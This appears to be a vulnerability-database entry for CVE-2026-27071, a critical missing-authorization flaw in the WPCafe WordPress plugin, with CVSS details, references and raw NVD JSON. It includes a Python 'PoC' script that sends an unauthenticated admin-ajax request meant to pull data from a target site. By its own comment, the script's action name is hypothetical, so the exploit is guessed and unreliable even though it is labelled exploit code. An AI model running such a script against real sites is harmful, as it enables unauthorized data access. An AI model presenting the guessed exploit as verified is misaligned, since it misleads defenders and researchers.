CVE-2026-27071

Description

Missing Authorization vulnerability in Arraytics WPCafe wp-cafe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPCafe: from n/a through <= 3.0.7.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

WPCafe <= 3.0.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
PoC for CVE-2026-27071 - WPCafe Missing Authorization
This script demonstrates how an unauthenticated user can trigger
a privileged action due to broken access control.
"""
import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"
action_name = "wpcafe_export_data"  # Hypothetical vulnerable action based on description

data = {
    "action": action_name,
    "security": "",  # Often missing or bypassed in IDOR scenarios
    "params": "all"
}

headers = {
    "User-Agent": "CVE-2026-27071-Scanner",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    print(f"[+] Sending unauthenticated request to {target_url}...")
    response = requests.post(target_url, data=data, headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Request successful! Check response content for potential data leakage.")
        print("[+] Response snippet:", response.text[:200])
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27071
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27071
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27071/
[4] VulDB https://vuldb.com/cve/CVE-2026-27071
[5] https://patchstack.com/database/Wordpress/Plugin/wp-cafe/vulnerability/wordpress-wpcafe-plugin-3-0-6-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27071", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:54.660", "lastModified": "2026-04-29T10:16:55.117", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Arraytics WPCafe wp-cafe allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPCafe: from n/a through <= 3.0.7."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Arraytics WPCafe wp-cafe permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a WPCafe: desde n/a hasta <= 3.0.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-cafe/vulnerability/wordpress-wpcafe-plugin-3-0-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}